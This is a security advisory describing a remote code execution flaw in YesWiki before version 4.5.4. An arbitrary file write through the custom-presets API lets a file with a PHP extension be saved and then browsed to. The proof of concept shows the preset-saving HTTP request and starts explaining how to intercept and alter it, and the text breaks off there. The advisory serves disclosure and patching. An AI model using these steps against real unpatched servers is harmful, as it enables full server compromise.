YesWiki is a wiki system written in PHP. Prior to version 4.5.4, YesWiki vulnerable to remote code execution. An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server, resulting in a full compromise of the server. This could potentially be performed unwittingly by a user. This issue has been patched in version 4.5.4.

Affected: Packagist: yeswiki/yeswiki

### Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

### PoC Proof of Concept

Navigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`.


After clicking save, this request is made (most headers removed for clarity):

``` POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif ```

This request writes the file `test.css` to disk with the contents (abbreviated) ``` :root { --primary-color: #0c5d6a; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ```

To exploit this, utilize a proxy tool to intercept the the first request and change t…